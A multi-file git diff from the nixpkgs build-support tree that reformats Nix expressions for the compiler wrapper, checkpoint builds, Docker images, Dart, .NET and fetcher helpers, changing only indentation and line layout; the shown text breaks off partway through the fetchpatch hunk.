@@ -355,12 +355,13 @@ stdenvNoCC.mkDerivation {
 
   preferLocalBuild = true;
 
-  outputs =
-    [ "out" ]
-    ++ optionals propagateDoc [
-      "man"
-      "info"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ optionals propagateDoc [
+    "man"
+    "info"
+  ];
 
   # Cannot be in "passthru" due to "substituteAll"
   inherit isArocc;
@@ -417,139 +418,140 @@ stdenvNoCC.mkDerivation {
 
   wrapper = ./cc-wrapper.sh;
 
-  installPhase =
-    ''
-      mkdir -p $out/bin $out/nix-support
+  installPhase = ''
+    mkdir -p $out/bin $out/nix-support
 
-      wrap() {
-        local dst="$1"
-        local wrapper="$2"
-        export prog="$3"
-        export use_response_file_by_default=${if isClang && !isCcache then "1" else "0"}
-        substituteAll "$wrapper" "$out/bin/$dst"
-        chmod +x "$out/bin/$dst"
-      }
-    ''
+    wrap() {
+      local dst="$1"
+      local wrapper="$2"
+      export prog="$3"
+      export use_response_file_by_default=${if isClang && !isCcache then "1" else "0"}
+      substituteAll "$wrapper" "$out/bin/$dst"
+      chmod +x "$out/bin/$dst"
+    }
+  ''
 
-    + (
-      if nativeTools then
-        ''
-          echo ${if targetPlatform.isDarwin then cc else nativePrefix} > $out/nix-support/orig-cc
+  + (
+    if nativeTools then
+      ''
+        echo ${if targetPlatform.isDarwin then cc else nativePrefix} > $out/nix-support/orig-cc
 
-          ccPath="${if targetPlatform.isDarwin then cc else nativePrefix}/bin"
-        ''
-      else
-        ''
-          echo $cc > $out/nix-support/orig-cc
+        ccPath="${if targetPlatform.isDarwin then cc else nativePrefix}/bin"
+      ''
+    else
+      ''
+        echo $cc > $out/nix-support/orig-cc
 
-          ccPath="${cc}/bin"
-        ''
-    )
+        ccPath="${cc}/bin"
+      ''
+  )
 
-    # Create symlinks to everything in the bintools wrapper.
-    + ''
-      for bbin in $bintools/bin/*; do
-        mkdir -p "$out/bin"
-        ln -s "$bbin" "$out/bin/$(basename $bbin)"
-      done
-    ''
+  # Create symlinks to everything in the bintools wrapper.
+  + ''
+    for bbin in $bintools/bin/*; do
+      mkdir -p "$out/bin"
+      ln -s "$bbin" "$out/bin/$(basename $bbin)"
+    done
+  ''
 
-    # We export environment variables pointing to the wrapped nonstandard
-    # cmds, lest some lousy configure script use those to guess compiler
-    # version.
-    + ''
-      export named_cc=${targetPrefix}cc
-      export named_cxx=${targetPrefix}c++
+  # We export environment variables pointing to the wrapped nonstandard
+  # cmds, lest some lousy configure script use those to guess compiler
+  # version.
+  + ''
+    export named_cc=${targetPrefix}cc
+    export named_cxx=${targetPrefix}c++
 
-      if [ -e $ccPath/${targetPrefix}gcc ]; then
-        wrap ${targetPrefix}gcc $wrapper $ccPath/${targetPrefix}gcc
-        ln -s ${targetPrefix}gcc $out/bin/${targetPrefix}cc
-        export named_cc=${targetPrefix}gcc
-        export named_cxx=${targetPrefix}g++
-      elif [ -e $ccPath/clang ]; then
-        wrap ${targetPrefix}clang $wrapper $ccPath/clang
-        ln -s ${targetPrefix}clang $out/bin/${targetPrefix}cc
-        export named_cc=${targetPrefix}clang
-        export named_cxx=${targetPrefix}clang++
-      elif [ -e $ccPath/arocc ]; then
-        wrap ${targetPrefix}arocc $wrapper $ccPath/arocc
-        ln -s ${targetPrefix}arocc $out/bin/${targetPrefix}cc
-        export named_cc=${targetPrefix}arocc
-      fi
+    if [ -e $ccPath/${targetPrefix}gcc ]; then
+      wrap ${targetPrefix}gcc $wrapper $ccPath/${targetPrefix}gcc
+      ln -s ${targetPrefix}gcc $out/bin/${targetPrefix}cc
+      export named_cc=${targetPrefix}gcc
+      export named_cxx=${targetPrefix}g++
+    elif [ -e $ccPath/clang ]; then
+      wrap ${targetPrefix}clang $wrapper $ccPath/clang
+      ln -s ${targetPrefix}clang $out/bin/${targetPrefix}cc
+      export named_cc=${targetPrefix}clang
+      export named_cxx=${targetPrefix}clang++
+    elif [ -e $ccPath/arocc ]; then
+      wrap ${targetPrefix}arocc $wrapper $ccPath/arocc
+      ln -s ${targetPrefix}arocc $out/bin/${targetPrefix}cc
+      export named_cc=${targetPrefix}arocc
+    fi
 
-      if [ -e $ccPath/${targetPrefix}g++ ]; then
-        wrap ${targetPrefix}g++ $wrapper $ccPath/${targetPrefix}g++
-        ln -s ${targetPrefix}g++ $out/bin/${targetPrefix}c++
-      elif [ -e $ccPath/clang++ ]; then
-        wrap ${targetPrefix}clang++ $wrapper $ccPath/clang++
-        ln -s ${targetPrefix}clang++ $out/bin/${targetPrefix}c++
-      fi
+    if [ -e $ccPath/${targetPrefix}g++ ]; then
+      wrap ${targetPrefix}g++ $wrapper $ccPath/${targetPrefix}g++
+      ln -s ${targetPrefix}g++ $out/bin/${targetPrefix}c++
+    elif [ -e $ccPath/clang++ ]; then
+      wrap ${targetPrefix}clang++ $wrapper $ccPath/clang++
+      ln -s ${targetPrefix}clang++ $out/bin/${targetPrefix}c++
+    fi
 
-      if [ -e $ccPath/${targetPrefix}cpp ]; then
-        wrap ${targetPrefix}cpp $wrapper $ccPath/${targetPrefix}cpp
-      elif [ -e $ccPath/cpp ]; then
-        wrap ${targetPrefix}cpp $wrapper $ccPath/cpp
-      fi
-    ''
+    if [ -e $ccPath/${targetPrefix}cpp ]; then
+      wrap ${targetPrefix}cpp $wrapper $ccPath/${targetPrefix}cpp
+    elif [ -e $ccPath/cpp ]; then
+      wrap ${targetPrefix}cpp $wrapper $ccPath/cpp
+    fi
+  ''
 
-    # No need to wrap gnat, gnatkr, gnatname or gnatprep; we can just symlink them in
-    + optionalString cc.langAda or false ''
-      for cmd in gnatbind gnatchop gnatclean gnatlink gnatls gnatmake; do
-        wrap ${targetPrefix}$cmd ${./gnat-wrapper.sh} $ccPath/${targetPrefix}$cmd
-      done
+  # No need to wrap gnat, gnatkr, gnatname or gnatprep; we can just symlink them in
+  + optionalString cc.langAda or false ''
+    for cmd in gnatbind gnatchop gnatclean gnatlink gnatls gnatmake; do
+      wrap ${targetPrefix}$cmd ${./gnat-wrapper.sh} $ccPath/${targetPrefix}$cmd
+    done
 
-      for cmd in gnat gnatkr gnatname gnatprep; do
-        ln -s $ccPath/${targetPrefix}$cmd $out/bin/${targetPrefix}$cmd
-      done
+    for cmd in gnat gnatkr gnatname gnatprep; do
+      ln -s $ccPath/${targetPrefix}$cmd $out/bin/${targetPrefix}$cmd
+    done
 
-      # this symlink points to the unwrapped gnat's output "out". It is used by
-      # our custom gprconfig compiler description to find GNAT's ada runtime. See
-      # ../../development/ada-modules/gprbuild/{boot.nix, nixpkgs-gnat.xml}
-      ln -sf ${cc} $out/nix-support/gprconfig-gnat-unwrapped
-    ''
+    # this symlink points to the unwrapped gnat's output "out". It is used by
+    # our custom gprconfig compiler description to find GNAT's ada runtime. See
+    # ../../development/ada-modules/gprbuild/{boot.nix, nixpkgs-gnat.xml}
+    ln -sf ${cc} $out/nix-support/gprconfig-gnat-unwrapped
+  ''
 
-    + optionalString cc.langD or false ''
-      wrap ${targetPrefix}gdc $wrapper $ccPath/${targetPrefix}gdc
-    ''
+  + optionalString cc.langD or false ''
+    wrap ${targetPrefix}gdc $wrapper $ccPath/${targetPrefix}gdc
+  ''
 
-    + optionalString cc.langFortran or false ''
-      wrap ${targetPrefix}gfortran $wrapper $ccPath/${targetPrefix}gfortran
-      ln -sv ${targetPrefix}gfortran $out/bin/${targetPrefix}g77
-      ln -sv ${targetPrefix}gfortran $out/bin/${targetPrefix}f77
-      export named_fc=${targetPrefix}gfortran
-    ''
+  + optionalString cc.langFortran or false ''
+    wrap ${targetPrefix}gfortran $wrapper $ccPath/${targetPrefix}gfortran
+    ln -sv ${targetPrefix}gfortran $out/bin/${targetPrefix}g77
+    ln -sv ${targetPrefix}gfortran $out/bin/${targetPrefix}f77
+    export named_fc=${targetPrefix}gfortran
+  ''
 
-    + optionalString cc.langJava or false ''
-      wrap ${targetPrefix}gcj $wrapper $ccPath/${targetPrefix}gcj
-    ''
+  + optionalString cc.langJava or false ''
+    wrap ${targetPrefix}gcj $wrapper $ccPath/${targetPrefix}gcj
+  ''
 
-    + optionalString cc.langGo or false ''
-      wrap ${targetPrefix}gccgo $wrapper $ccPath/${targetPrefix}gccgo
-      wrap ${targetPrefix}go ${./go-wrapper.sh} $ccPath/${targetPrefix}go
-    '';
+  + optionalString cc.langGo or false ''
+    wrap ${targetPrefix}gccgo $wrapper $ccPath/${targetPrefix}gccgo
+    wrap ${targetPrefix}go ${./go-wrapper.sh} $ccPath/${targetPrefix}go
+  '';
 
   strictDeps = true;
-  propagatedBuildInputs =
-    [ bintools ] ++ extraTools ++ optionals cc.langD or cc.langJava or false [ zlib ];
+  propagatedBuildInputs = [
+    bintools
+  ]
+  ++ extraTools
+  ++ optionals cc.langD or cc.langJava or false [ zlib ];
   depsTargetTargetPropagated = optional (libcxx != null) libcxx ++ extraPackages;
 
-  setupHooks =
-    [
-      ../setup-hooks/role.bash
-    ]
-    ++ optional (cc.langC or true) ./setup-hook.sh
-    ++ optional (cc.langFortran or false) ./fortran-hook.sh
-    ++ optional (targetPlatform.isWindows) (
-      stdenvNoCC.mkDerivation {
-        name = "win-dll-hook.sh";
-        dontUnpack = true;
-        installPhase = ''
-          echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib" > $out
-          echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib64" >> $out
-          echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib32" >> $out
-        '';
-      }
-    );
+  setupHooks = [
+    ../setup-hooks/role.bash
+  ]
+  ++ optional (cc.langC or true) ./setup-hook.sh
+  ++ optional (cc.langFortran or false) ./fortran-hook.sh
+  ++ optional (targetPlatform.isWindows) (
+    stdenvNoCC.mkDerivation {
+      name = "win-dll-hook.sh";
+      dontUnpack = true;
+      installPhase = ''
+        echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib" > $out
+        echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib64" >> $out
+        echo addToSearchPath "LINK_DLL_FOLDERS" "${cc_solib}/lib32" >> $out
+      '';
+    }
+  );
 
   postFixup =
     # Ensure flags files exists, as some other programs cat them. (That these
@@ -861,38 +863,37 @@ stdenvNoCC.mkDerivation {
       mapAttrsToList (name: value: "echo ${toString value} >> $out/nix-support/${name}") nixSupport
     );
 
-  env =
-    {
-      inherit isClang;
+  env = {
+    inherit isClang;
 
-      # for substitution in utils.bash
-      # TODO(@sternenseemann): invent something cleaner than passing in "" in case of absence
-      expandResponseParams = lib.optionalString (expand-response-params != "") (
-        lib.getExe expand-response-params
-      );
-      # TODO(@sternenseemann): rename env var via stdenv rebuild
-      shell = getBin runtimeShell + runtimeShell.shellPath or "";
-      gnugrep_bin = optionalString (!nativeTools) gnugrep;
-      rm = if nativeTools then "rm" else lib.getExe' coreutils "rm";
-      mktemp = if nativeTools then "mktemp" else lib.getExe' coreutils "mktemp";
-      # stdenv.cc.cc should not be null and we have nothing better for now.
-      # if the native impure bootstrap is gotten rid of this can become `inherit cc;` again.
-      cc = optionalString (!nativeTools) cc;
-      wrapperName = "CC_WRAPPER";
-      inherit suffixSalt coreutils_bin bintools;
-      bintools_targetPrefix = bintools.targetPrefix;
-      inherit libc_bin libc_dev libc_lib;
-      inherit darwinPlatformForCC;
-      default_hardening_flags_str = builtins.toString defaultHardeningFlags;
-    }
-    // lib.mapAttrs (_: lib.optionalString targetPlatform.isDarwin) {
-      # These will become empty strings when not targeting Darwin.
-      inherit (targetPlatform) darwinMinVersion darwinMinVersionVariable;
-    }
-    // lib.optionalAttrs (stdenvNoCC.targetPlatform.isDarwin && apple-sdk != null) {
-      # Wrapped compilers should do something useful even when no SDK is provided at `DEVELOPER_DIR`.
-      fallback_sdk = apple-sdk.__spliced.buildTarget or apple-sdk;
-    };
+    # for substitution in utils.bash
+    # TODO(@sternenseemann): invent something cleaner than passing in "" in case of absence
+    expandResponseParams = lib.optionalString (expand-response-params != "") (
+      lib.getExe expand-response-params
+    );
+    # TODO(@sternenseemann): rename env var via stdenv rebuild
+    shell = getBin runtimeShell + runtimeShell.shellPath or "";
+    gnugrep_bin = optionalString (!nativeTools) gnugrep;
+    rm = if nativeTools then "rm" else lib.getExe' coreutils "rm";
+    mktemp = if nativeTools then "mktemp" else lib.getExe' coreutils "mktemp";
+    # stdenv.cc.cc should not be null and we have nothing better for now.
+    # if the native impure bootstrap is gotten rid of this can become `inherit cc;` again.
+    cc = optionalString (!nativeTools) cc;
+    wrapperName = "CC_WRAPPER";
+    inherit suffixSalt coreutils_bin bintools;
+    bintools_targetPrefix = bintools.targetPrefix;
+    inherit libc_bin libc_dev libc_lib;
+    inherit darwinPlatformForCC;
+    default_hardening_flags_str = builtins.toString defaultHardeningFlags;
+  }
+  // lib.mapAttrs (_: lib.optionalString targetPlatform.isDarwin) {
+    # These will become empty strings when not targeting Darwin.
+    inherit (targetPlatform) darwinMinVersion darwinMinVersionVariable;
+  }
+  // lib.optionalAttrs (stdenvNoCC.targetPlatform.isDarwin && apple-sdk != null) {
+    # Wrapped compilers should do something useful even when no SDK is provided at `DEVELOPER_DIR`.
+    fallback_sdk = apple-sdk.__spliced.buildTarget or apple-sdk;
+  };
 
   meta =
     let
diff --git a/pkgs/build-support/checkpoint-build.nix b/pkgs/build-support/checkpoint-build.nix
index 6a28e7556d67..5071ad4ac5b7 100644
--- a/pkgs/build-support/checkpoint-build.nix
+++ b/pkgs/build-support/checkpoint-build.nix
@@ -28,21 +28,19 @@ let
       # We compare the changed sources from a previous build with the current and create a patch.
       # Afterwards we clean the build directory and copy the previous output files (including the sources).
       # The source difference patch is then applied to get the latest changes again to allow short build times.
-      preBuild =
-        (old.preBuild or "")
-        + ''
-          set +e
-          sourceDifferencePatchFile=$(${mktemp}/bin/mktemp)
-          diff -ur ${checkpointArtifacts}/sources ./ > "$sourceDifferencePatchFile"
-          set -e
-          shopt -s dotglob
-          rm -r *
-          ${rsync}/bin/rsync \
-            --checksum --times --atimes --chown=$USER:$USER --chmod=+w \
-            -r ${checkpointArtifacts}/outputs/ .
-          patch -p 1 -i "$sourceDifferencePatchFile"
-          rm "$sourceDifferencePatchFile"
-        '';
+      preBuild = (old.preBuild or "") + ''
+        set +e
+        sourceDifferencePatchFile=$(${mktemp}/bin/mktemp)
+        diff -ur ${checkpointArtifacts}/sources ./ > "$sourceDifferencePatchFile"
+        set -e
+        shopt -s dotglob
+        rm -r *
+        ${rsync}/bin/rsync \
+          --checksum --times --atimes --chown=$USER:$USER --chmod=+w \
+          -r ${checkpointArtifacts}/outputs/ .
+        patch -p 1 -i "$sourceDifferencePatchFile"
+        rm "$sourceDifferencePatchFile"
+      '';
     });
 in
 
@@ -77,12 +75,10 @@ rec {
       # directory before build, but after patch phases.
       # This way, the same derivation can be used multiple times and only changes are detected.
       # Additionally, removed files are handled correctly in later builds.
-      preBuild =
-        (old.preBuild or "")
-        + ''
-          mkdir -p $out/sources
-          cp -r ./* $out/sources/
-        '';
+      preBuild = (old.preBuild or "") + ''
+        mkdir -p $out/sources
+        cp -r ./* $out/sources/
+      '';
 
       # After the build, the build directory is copied again
       # to get the output files.
diff --git a/pkgs/build-support/dart/build-dart-application/default.nix b/pkgs/build-support/dart/build-dart-application/default.nix
index 444930985f8e..30d38ab35df0 100644
--- a/pkgs/build-support/dart/build-dart-application/default.nix
+++ b/pkgs/build-support/dart/build-dart-application/default.nix
@@ -98,7 +98,8 @@ let
             exit 1
           fi
         '';
-    } // sdkSourceBuilders;
+    }
+    // sdkSourceBuilders;
   };
   packageConfig = generators.linkPackageConfig {
     packageConfig = pub2nix.generatePackageConfig {
@@ -149,7 +150,8 @@ let
       outputs = [
         "out"
         "pubcache"
-      ] ++ args.outputs or [ ];
+      ]
+      ++ args.outputs or [ ];
 
       dartEntryPoints =
         if (dartEntryPoints != null) then
@@ -177,11 +179,9 @@ let
           # Ensure that we inherit the propagated build inputs from the dependencies.
           builtins.attrValues pubspecLockData.dependencySources;
 
-      preConfigure =
-        args.preConfigure or ""
-        + ''
-          ln -sf "$pubspecLockFilePath" pubspec.lock
-        '';
+      preConfigure = args.preConfigure or "" + ''
+        ln -sf "$pubspecLockFilePath" pubspec.lock
+      '';
 
       # When stripping, it seems some ELF information is lost and the dart VM cli
       # runs instead of the expected program. Don't strip if it's an exe output.
@@ -191,7 +191,8 @@ let
 
       passthru = {
         pubspecLock = pubspecLockData;
-      } // (args.passthru or { });
+      }
+      // (args.passthru or { });
 
       meta = (args.meta or { }) // {
         platforms = args.meta.platforms or dart.meta.platforms;
diff --git a/pkgs/build-support/dlang/builddubpackage/default.nix b/pkgs/build-support/dlang/builddubpackage/default.nix
index 31454d5cd69b..2a32b4d17fc3 100644
--- a/pkgs/build-support/dlang/builddubpackage/default.nix
+++ b/pkgs/build-support/dlang/builddubpackage/default.nix
@@ -142,6 +142,7 @@ stdenv.mkDerivation (
 
     meta = {
       platforms = dub.meta.platforms;
-    } // args.meta or { };
+    }
+    // args.meta or { };
   }
 )
diff --git a/pkgs/build-support/docker/default.nix b/pkgs/build-support/docker/default.nix
index ca3692029181..05c99838ba7c 100644
--- a/pkgs/build-support/docker/default.nix
+++ b/pkgs/build-support/docker/default.nix
@@ -718,7 +718,8 @@ rec {
               jshon
               jq
               moreutils
-            ] ++ compress.nativeInputs;
+            ]
+            ++ compress.nativeInputs;
             # Image name must be lowercase
             imageName = lib.toLower name;
             imageTag = lib.optionalString (tag != null) tag;
@@ -892,14 +893,13 @@ rec {
     runCommand "merge-docker-images"
       {
         inherit images;
-        nativeBuildInputs =
-          [
-            file
-            jq
-          ]
-          ++ compressors.none.nativeInputs
-          ++ compressors.gz.nativeInputs
-          ++ compressors.zstd.nativeInputs;
+        nativeBuildInputs = [
+          file
+          jq
+        ]
+        ++ compressors.none.nativeInputs
+        ++ compressors.gz.nativeInputs
+        ++ compressors.zstd.nativeInputs;
       }
       ''
         mkdir image inputs
@@ -1060,13 +1060,12 @@ rec {
         paths = contentsList;
         extraCommands = (lib.optionalString includeNixDB (mkDbExtraCommand contents)) + extraCommands;
         inherit fakeRootCommands;
-        nativeBuildInputs =
-          [
-            fakeroot
-          ]
-          ++ optionals enableFakechroot [
-            proot
-          ];
+        nativeBuildInputs = [
+          fakeroot
+        ]
+        ++ optionals enableFakechroot [
+          proot
+        ];
         postBuild = ''
           mv $out old_out
           (cd old_out; eval "$extraCommands" )
@@ -1295,51 +1294,50 @@ rec {
         };
 
       # Environment variables set in the image
-      envVars =
-        {
+      envVars = {
 
-          # Root certificates for internet access
-          SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
-          NIX_SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
+        # Root certificates for internet access
+        SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
+        NIX_SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1027-L1030
-          # PATH = "/path-not-set";
-          # Allows calling bash and `buildDerivation` as the Cmd
-          PATH = staticPath;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1027-L1030
+        # PATH = "/path-not-set";
+        # Allows calling bash and `buildDerivation` as the Cmd
+        PATH = staticPath;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1032-L1038
-          HOME = homeDirectory;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1032-L1038
+        HOME = homeDirectory;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1040-L1044
-          NIX_STORE = storeDir;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1040-L1044
+        NIX_STORE = storeDir;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1046-L1047
-          # TODO: Make configurable?
-          NIX_BUILD_CORES = "1";
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1046-L1047
+        # TODO: Make configurable?
+        NIX_BUILD_CORES = "1";
 
-        }
-        // drvEnv
-        // {
+      }
+      // drvEnv
+      // {
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1008-L1010
-          NIX_BUILD_TOP = sandboxBuildDir;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1008-L1010
+        NIX_BUILD_TOP = sandboxBuildDir;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1012-L1013
-          TMPDIR = sandboxBuildDir;
-          TEMPDIR = sandboxBuildDir;
-          TMP = sandboxBuildDir;
-          TEMP = sandboxBuildDir;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1012-L1013
+        TMPDIR = sandboxBuildDir;
+        TEMPDIR = sandboxBuildDir;
+        TMP = sandboxBuildDir;
+        TEMP = sandboxBuildDir;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1015-L1019
-          PWD = sandboxBuildDir;
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1015-L1019
+        PWD = sandboxBuildDir;
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1071-L1074
-          # We don't set it here because the output here isn't handled in any special way
-          # NIX_LOG_FD = "2";
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1071-L1074
+        # We don't set it here because the output here isn't handled in any special way
+        # NIX_LOG_FD = "2";
 
-          # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1076-L1077
-          TERM = "xterm-256color";
-        };
+        # https://github.com/NixOS/nix/blob/2.8.0/src/libstore/build/local-derivation-goal.cc#L1076-L1077
+        TERM = "xterm-256color";
+      };
 
     in
     streamLayeredImage {
diff --git a/pkgs/build-support/docker/examples.nix b/pkgs/build-support/docker/examples.nix
index 5edc1db78ee8..aa522350a3f2 100644
--- a/pkgs/build-support/docker/examples.nix
+++ b/pkgs/build-support/docker/examples.nix
@@ -619,15 +619,14 @@ rec {
     pkgs.dockerTools.buildLayeredImage {
       name = "bash-layered-with-user";
       tag = "latest";
-      contents =
-        [
-          pkgs.bash
-          pkgs.coreutils
-        ]
-        ++ nonRootShadowSetup {
-          uid = 999;
-          user = "somebody";
-        };
+      contents = [
+        pkgs.bash
+        pkgs.coreutils
+      ]
+      ++ nonRootShadowSetup {
+        uid = 999;
+        user = "somebody";
+      };
     };
 
   # basic example, with cross compilation
diff --git a/pkgs/build-support/dotnet/build-dotnet-global-tool/default.nix b/pkgs/build-support/dotnet/build-dotnet-global-tool/default.nix
index 82137b30e24c..686c16f4a70d 100644
--- a/pkgs/build-support/dotnet/build-dotnet-global-tool/default.nix
+++ b/pkgs/build-support/dotnet/build-dotnet-global-tool/default.nix
@@ -72,7 +72,8 @@ buildDotnetModule (
       passthru = {
         updateScript = ./update.sh;
         nupkg = nupkg;
-      } // args.passthru or { };
+      }
+      // args.passthru or { };
     }
   )
     (if lib.isFunction fnOrAttrs then fnOrAttrs finalAttrs else fnOrAttrs)
diff --git a/pkgs/build-support/dotnet/build-dotnet-package/default.nix b/pkgs/build-support/dotnet/build-dotnet-package/default.nix
index 64bf19addb27..582084095e3d 100644
--- a/pkgs/build-support/dotnet/build-dotnet-package/default.nix
+++ b/pkgs/build-support/dotnet/build-dotnet-package/default.nix
@@ -32,7 +32,8 @@ let
       makeWrapper
       dotnetbuildhelpers
       mono
-    ] ++ nativeBuildInputs;
+    ]
+    ++ nativeBuildInputs;
 
     configurePhase = ''
       runHook preConfigure
diff --git a/pkgs/build-support/dotnet/fetch-nupkg/overrides.nix b/pkgs/build-support/dotnet/fetch-nupkg/overrides.nix
index 923f8b4e917d..b33910cc9c1f 100644
--- a/pkgs/build-support/dotnet/fetch-nupkg/overrides.nix
+++ b/pkgs/build-support/dotnet/fetch-nupkg/overrides.nix
@@ -72,16 +72,14 @@
 
         buildInputs = old.buildInputs or [ ] ++ [ fontconfig ];
 
-        preInstall =
-          old.preInstall or ""
-          + ''
-            cd runtimes
-            for platform in *; do
-              [[ $platform == "${dotnetCorePackages.systemToDotnetRid stdenv.hostPlatform.system}" ]] ||
-                rm -r "$platform"
-            done
-            cd - >/dev/null
-          '';
+        preInstall = old.preInstall or "" + ''
+          cd runtimes
+          for platform in *; do
+            [[ $platform == "${dotnetCorePackages.systemToDotnetRid stdenv.hostPlatform.system}" ]] ||
+              rm -r "$platform"
+          done
+          cd - >/dev/null
+        '';
       }
     );
 }
diff --git a/pkgs/build-support/fetchgit/default.nix b/pkgs/build-support/fetchgit/default.nix
index 1da8d2591c5b..2e9cf97cad5c 100644
--- a/pkgs/build-support/fetchgit/default.nix
+++ b/pkgs/build-support/fetchgit/default.nix
@@ -110,13 +110,12 @@ lib.makeOverridable (
         builder = ./builder.sh;
         fetcher = ./nix-prefetch-git;
 
-        nativeBuildInputs =
-          [
-            git
-            cacert
-          ]
-          ++ lib.optionals fetchLFS [ git-lfs ]
-          ++ nativeBuildInputs;
+        nativeBuildInputs = [
+          git
+          cacert
+        ]
+        ++ lib.optionals fetchLFS [ git-lfs ]
+        ++ nativeBuildInputs;
 
         inherit outputHash outputHashAlgo;
         outputHashMode = "recursive";
diff --git a/pkgs/build-support/fetchnextcloudapp/default.nix b/pkgs/build-support/fetchnextcloudapp/default.nix
index 31f35c0568d3..193b2b82a354 100644
--- a/pkgs/build-support/fetchnextcloudapp/default.nix
+++ b/pkgs/build-support/fetchnextcloudapp/default.nix
@@ -24,18 +24,17 @@ applyPatches (
     inherit patches;
     src = (if unpack then fetchzip else fetchurl) {
       inherit url hash sha256;
-      meta =
-        {
-          license = lib.licenses.${license};
-          longDescription = description;
-          inherit homepage maintainers teams;
-        }
-        // lib.optionalAttrs (description != null) {
-          longDescription = description;
-        }
-        // lib.optionalAttrs (homepage != null) {
-          inherit homepage;
-        };
+      meta = {
+        license = lib.licenses.${license};
+        longDescription = description;
+        inherit homepage maintainers teams;
+      }
+      // lib.optionalAttrs (description != null) {
+        longDescription = description;
+      }
+      // lib.optionalAttrs (homepage != null) {
+        inherit homepage;
+      };
     };
     prePatch = ''
       if [ ! -f ./appinfo/info.xml ]; then
diff --git a/pkgs/build-support/fetchpatch/default.nix b/pkgs/build-support/fetchpatch/default.nix
index 1b1f23b44c69..0e7be1717107 100644
--- a/pkgs/build-support/fetchpatch/default.nix
+++ b/pkgs/build-support/fetchpatch/default.nix
@@ -43,69 +43,68 @@ lib.throwIfNot (excludes == [ ] || includes == [ ])
   (
     {
       nativeBuildInputs = [ patchutils ] ++ nativeBuildInputs;
-      postFetch =
-        ''
-          tmpfile="$TMPDIR/patch"
+      postFetch = ''
+        tmpfile="$TMPDIR/patch"
 
-          if [ ! -s "$out" ]; then
-            echo "error: Fetched patch file '$out' is empty!" 1>&2
+        if [ ! -s "$out" ]; then
+          echo "error: Fetched patch file '$out' is empty!" 1>&2
+          exit 1
+        fi
+
+        set +e
+        ${decode} < "$out" > "$tmpfile"
+        if [ $? -ne 0 ] || [ ! -s "$tmpfile" ]; then
+            echo 'Failed to decode patch with command "'${lib.escapeShellArg decode}'"' >&2
+            echo 'Fetched file was (limited to 128 bytes):' >&2
+            od -A x -t x1z -v -N 128 "$out" >&2
             exit 1
-          fi
-
-          set +e
-          ${decode} < "$out" > "$tmpfile"
-          if [ $? -ne 0 ] || [ ! -s "$tmpfile" ]; then
-              echo 'Failed to decode patch with command "'${lib.escapeShellArg decode}'"' >&2
-              echo 'Fetched file was (limited to 128 bytes):' >&2
-              od -A x -t x1z -v -N 128 "$out" >&2
-              exit 1
-          fi
-          set -e
-          mv "$tmpfile" "$out"
-
-          lsdiff \
-            ${lib.optionalString (relative != null) "-p1 -i ${lib.escapeShellArg relative}/'*'"} \
-            "$out" \
-          | sort -u | sed -e 's/[*?]/\\&/g' \
-          | xargs -I{} \
-            filterdiff \
-            --include={} \
-            --strip=${toString stripLen} \
-            ${
-              lib.optionalString (extraPrefix != null) ''
-                --addoldprefix=a/${lib.escapeShellArg extraPrefix} \
-                --addnewprefix=b/${lib.escapeShellArg extraPrefix} \
-              ''
-            } \
-            --clean "$out" > "$tmpfile"
-
-          if [ ! -s "$tmpfile" ]; then
-            echo "error: Normalized patch '$tmpfile' is empty (while the fetched file was not)!" 1>&2
-            echo "Did you maybe fetch a HTML representation of a patch instead of a raw patch?" 1>&2
-            echo "Fetched file was:" 1>&2
-            cat "$out" 1>&2
-            exit 1
-          fi
+        fi
+        set -e
+        mv "$tmpfile" "$out"
 
+        lsdiff \
+          ${lib.optionalString (relative != null) "-p1 -i ${lib.escapeShellArg relative}/'*'"} \
+          "$out" \
+        | sort -u | sed -e 's/[*?]/\\&/g' \
+        | xargs -I{} \
           filterdiff \
-            -p1 \
-            ${builtins.toString (builtins.map (x: "-x ${lib.escapeShellArg x}") excludes)} \
-            ${builtins.toString (builtins.map (x: "-i ${lib.escapeShellArg x}") includes)} \
-            "$tmpfile" > "$out"
+          --include={} \
+          --strip=${toString stripLen} \
+          ${
+            lib.optionalString (extraPrefix != null) ''
+              --addoldprefix=a/${lib.escapeShellArg extraPrefix} \
+              --addnewprefix=b/${lib.escapeShellArg extraPrefix} \
+            ''
+          } \
+          --clean "$out" > "$tmpfile"
 
-          if [ ! -s "$out" ]; then
-            echo "error: Filtered patch '$out' is empty (while the original patch file was not)!" 1>&2
